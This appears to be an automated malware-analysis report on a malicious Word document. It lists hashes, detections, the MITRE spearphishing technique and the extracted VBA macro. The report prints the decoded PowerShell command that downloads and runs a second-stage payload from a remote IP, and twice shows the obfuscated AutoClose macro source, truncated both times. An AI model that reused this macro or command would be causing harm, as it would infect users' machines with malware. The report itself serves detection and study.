Office (OLE) malware analysis — malicious · 12070d0da8fe7014

MALICIOUS

Office (OLE)

74.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-09-30

MD5: fd373d6c93ed68ebf0151f73a0f903ff SHA-1: 5ac6722a505bc589c847e5c5ed4a866c7fa8ac1a SHA-256: 12070d0da8fe70146b548f70bf2b4ac6cdc9066b7aa4f85cf0fe601617f01140

242 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Spearphishing Attachment

The sample contains a legacy WordBasic AutoClose macro that is triggered when the document is closed. This macro constructs and executes a PowerShell command to download and execute a second-stage payload from a remote URL. The constructed command is: powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://185.189.255.135/a.txt')". This indicates a downloader or droppper functionality.

Heuristics 7

ClamAV: Doc.Malware.00536d-6735644-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6735644-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8502 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	8502 bytes
SHA-256: `755193e63c3da49d23bfd16bf6fcf4f28b1631d2d7070a2dedd7c379f440b017`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const JaGAMorYJUnysAQeFIBEqafakaJUkavEV = 0 Sub AutoClose() On Error Resume Next ceRiVadYKUiaVuaaJEaTepAfuBIaaLUKY = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^" Dim sxArUGoSOfyHizIGWIfUjidUVmyRIiuwUREPUZ Choose 1, "bEDQeHEaZOzOKITaLih", LTrim("sxArUGoSOfyHizIGWIfUjidUVmyRIiuwUREPUZ"), "bEDQeHEaZOzOKITaLihsxArUGoSOfyHizIGWIfUjidUVmyRIiuwUREPUZ" IsError CVErr(3851) Call IsNumeric(3851 - bEDQeHEaZOzOKITaLih) If LenB(bEDQeHEaZOzOKITaLih13) > CInt(Hex(3851)) Then StrComp "bEDQeHEaZOzOKITaLih", "bEDQeHEaZOzOKITaLih" & sxArUGoSOfyHizIGWIfUjidUVmyRIiuwUREPUZ End If Dim JByBEVuXOZehecEqETIBUA Choose 1, "hAnIbyxebANYDAj", LTrim("JByBEVuXOZehecEqETIBUA"), "hAnIbyxebANYDAjJByBEVuXOZehecEqETIBUA" IsError CVErr(8366) Call IsNumeric(8366 - hAnIbyxebANYDAj) If LenB(hAnIbyxebANYDAj11) > CInt(Hex(8366)) Then StrComp "hAnIbyxebANYDAj", "hAnIbyxebANYDAj" & JByBEVuXOZehecEqETIBUA End If giJYCOKYNupOsaXiQeFoXIfAtUVain = "C^8^A^L^w^B^3^A^G^8^A^b^A^B^0^A^G^g^A^b^w^B^y^A^G^k^A^Z^g^B^p^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^N^g^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^A" Dim zYTEKinADiCevigUcaiUqTOBBecyCusErEvOga Choose 9, "xabuMOBeBociHynYJyXIBiHU", LTrim("zYTEKinADiCevigUcaiUqTOBBecyCusErEvOga"), "xabuMOBeBociHynYJyXIBiHUzYTEKinADiCevigUcaiUqTOBBecyCusErEvOga" IsError CVErr(6693) Call IsNumeric(6693 - xabuMOBeBociHynYJyXIBiHU) If LenB(xabuMOBeBociHynYJyXIBiHU11) > CInt(Hex(6693)) Then StrComp "xabuMOBeBociHynYJyXIBiHU", "xabuMOBeBociHynYJyXIBiHU" & zYTEKinADiCevigUcaiUqTOBBecyCusErEvOga End If XufekUZaMETOMycufCEQEnXEPuMOLutyTOQCOSA = "^1^A^G^U^A^M^A^A^2^A^D^U^A^N^A^A^z^A^G^I^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^N^Q^B^l^A^D^A^A^N^g^A^1^A^D^Q^A^M^w^B^i^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^" Dim seqAIrtaqAWytEMybUqydXAQUWuKXECifYBYMEaJiY Choose 7, "WEseJUWICyZEzaCOmyQ", LTrim("seqAIrtaqAWytEMybUqydXAQUWuKXECifYBYMEaJiY"), "WEseJUWICyZEzaCOmyQseqAIrtaqAWytEMybUqydXAQUWuKXECifYBYMEaJiY" IsError CVErr(5463) Call IsNumeric(5463 - WEseJUWICyZEzaCOmyQ) If LenB(WEseJUWICyZEzaCOmyQ12) > CInt(Hex(5463)) Then StrComp "WEseJUWICyZEzaCOmyQ", "WEseJUWICyZEzaCOmyQ" & seqAIrtaqAWytEMybUqydXAQUWuKXECifYBYMEaJiY End If Dim wAteOFyjiMiryiefyNCuBUkadidPYKOK Choose 8, "PECUpEOJOTASiW", LTrim("wAteOFyjiMiryiefyNCuBUkadidPYKOK"), "PECUpEOJOTASiWwAteOFyjiMiryiefyNCuBUkadidPYKOK" IsError CVErr(565) Call IsNumeric(565 - PECUpEOJOTASiW) If LenB(PECUpEOJOTASiW12) > CInt(Hex(565)) Then StrComp "PECUpEOJOTASiW", "PECUpEOJOTASiW" & wAteOFyjiMiryiefyNCuBUkadidPYKOK End If HiCaWipiLamTAJOeboauFuVeZomaKoHyiuseJ = "d^A^A^=" Dim KasIfGiNIwOheLEwUTyaKYwOLuZ Choose 9, "vyiYwaqxocIhEtICUReK", LTrim("KasIfGiNIwOheLEwUTyaKYwOLuZ"), "vyiYwaqxocI ... (truncated)

SHA-256: 755193e63c3da49d23bfd16bf6fcf4f28b1631d2d7070a2dedd7c379f440b017

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const JaGAMorYJUnysAQeFIBEqafakaJUkavEV = 0
Sub AutoClose()
On Error Resume Next
ceRiVadYKUiaVuaaJEaTepAfuBIaaLUKY = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^"
Dim sxArUGoSOfyHizIGWIfUjidUVmyRIiuwUREPUZ


Choose 1, "bEDQeHEaZOzOKITaLih", LTrim("sxArUGoSOfyHizIGWIfUjidUVmyRIiuwUREPUZ"), "bEDQeHEaZOzOKITaLihsxArUGoSOfyHizIGWIfUjidUVmyRIiuwUREPUZ"
IsError CVErr(3851)
Call IsNumeric(3851 - bEDQeHEaZOzOKITaLih)

If LenB(bEDQeHEaZOzOKITaLih13) > CInt(Hex(3851)) Then
   StrComp "bEDQeHEaZOzOKITaLih", "bEDQeHEaZOzOKITaLih" & sxArUGoSOfyHizIGWIfUjidUVmyRIiuwUREPUZ
End If
Dim JByBEVuXOZehecEqETIBUA


Choose 1, "hAnIbyxebANYDAj", LTrim("JByBEVuXOZehecEqETIBUA"), "hAnIbyxebANYDAjJByBEVuXOZehecEqETIBUA"
IsError CVErr(8366)
Call IsNumeric(8366 - hAnIbyxebANYDAj)

If LenB(hAnIbyxebANYDAj11) > CInt(Hex(8366)) Then
   StrComp "hAnIbyxebANYDAj", "hAnIbyxebANYDAj" & JByBEVuXOZehecEqETIBUA
End If

giJYCOKYNupOsaXiQeFoXIfAtUVain = "C^8^A^L^w^B^3^A^G^8^A^b^A^B^0^A^G^g^A^b^w^B^y^A^G^k^A^Z^g^B^p^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^N^g^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^A"

Dim zYTEKinADiCevigUcaiUqTOBBecyCusErEvOga


Choose 9, "xabuMOBeBociHynYJyXIBiHU", LTrim("zYTEKinADiCevigUcaiUqTOBBecyCusErEvOga"), "xabuMOBeBociHynYJyXIBiHUzYTEKinADiCevigUcaiUqTOBBecyCusErEvOga"
IsError CVErr(6693)
Call IsNumeric(6693 - xabuMOBeBociHynYJyXIBiHU)

If LenB(xabuMOBeBociHynYJyXIBiHU11) > CInt(Hex(6693)) Then
   StrComp "xabuMOBeBociHynYJyXIBiHU", "xabuMOBeBociHynYJyXIBiHU" & zYTEKinADiCevigUcaiUqTOBBecyCusErEvOga
End If

XufekUZaMETOMycufCEQEnXEPuMOLutyTOQCOSA = "^1^A^G^U^A^M^A^A^2^A^D^U^A^N^A^A^z^A^G^I^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^N^Q^B^l^A^D^A^A^N^g^A^1^A^D^Q^A^M^w^B^i^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^"

Dim seqAIrtaqAWytEMybUqydXAQUWuKXECifYBYMEaJiY


Choose 7, "WEseJUWICyZEzaCOmyQ", LTrim("seqAIrtaqAWytEMybUqydXAQUWuKXECifYBYMEaJiY"), "WEseJUWICyZEzaCOmyQseqAIrtaqAWytEMybUqydXAQUWuKXECifYBYMEaJiY"
IsError CVErr(5463)
Call IsNumeric(5463 - WEseJUWICyZEzaCOmyQ)

If LenB(WEseJUWICyZEzaCOmyQ12) > CInt(Hex(5463)) Then
   StrComp "WEseJUWICyZEzaCOmyQ", "WEseJUWICyZEzaCOmyQ" & seqAIrtaqAWytEMybUqydXAQUWuKXECifYBYMEaJiY
End If
Dim wAteOFyjiMiryiefyNCuBUkadidPYKOK


Choose 8, "PECUpEOJOTASiW", LTrim("wAteOFyjiMiryiefyNCuBUkadidPYKOK"), "PECUpEOJOTASiWwAteOFyjiMiryiefyNCuBUkadidPYKOK"
IsError CVErr(565)
Call IsNumeric(565 - PECUpEOJOTASiW)

If LenB(PECUpEOJOTASiW12) > CInt(Hex(565)) Then
   StrComp "PECUpEOJOTASiW", "PECUpEOJOTASiW" & wAteOFyjiMiryiefyNCuBUkadidPYKOK
End If

HiCaWipiLamTAJOeboauFuVeZomaKoHyiuseJ = "d^A^A^="
Dim KasIfGiNIwOheLEwUTyaKYwOLuZ


Choose 9, "vyiYwaqxocIhEtICUReK", LTrim("KasIfGiNIwOheLEwUTyaKYwOLuZ"), "vyiYwaqxocI
... (truncated)

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